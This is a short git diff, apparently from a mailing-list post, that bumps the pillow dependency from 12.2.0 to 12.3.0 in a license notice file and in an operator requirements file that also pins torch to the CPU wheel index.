@@ -363,7 +363,7 @@ Dependencies under the MIT-CMU License
 
--------------------------------------------------------------------------------
 
 Python packages:
-  - pillow==12.2.0
+  - pillow==12.3.0
 
 Individual jars may contain their own META-INF/LICENSE and META-INF/NOTICE
 files that apply to their specific contents; those files continue to govern
diff --git a/amber/operator-requirements.txt b/amber/operator-requirements.txt
index 9759f624c4..bf3e0ff96c 100644
--- a/amber/operator-requirements.txt
+++ b/amber/operator-requirements.txt
@@ -18,7 +18,7 @@
 wordcloud==1.9.6
 plotly==5.24.1
 praw==7.6.1
-pillow==12.2.0
+pillow==12.3.0
 
 # Pin torch to the CPU wheel on Linux x86_64 to avoid the NVIDIA CUDA deps.
 --extra-index-url https://download.pytorch.org/whl/cpu

Reply via email to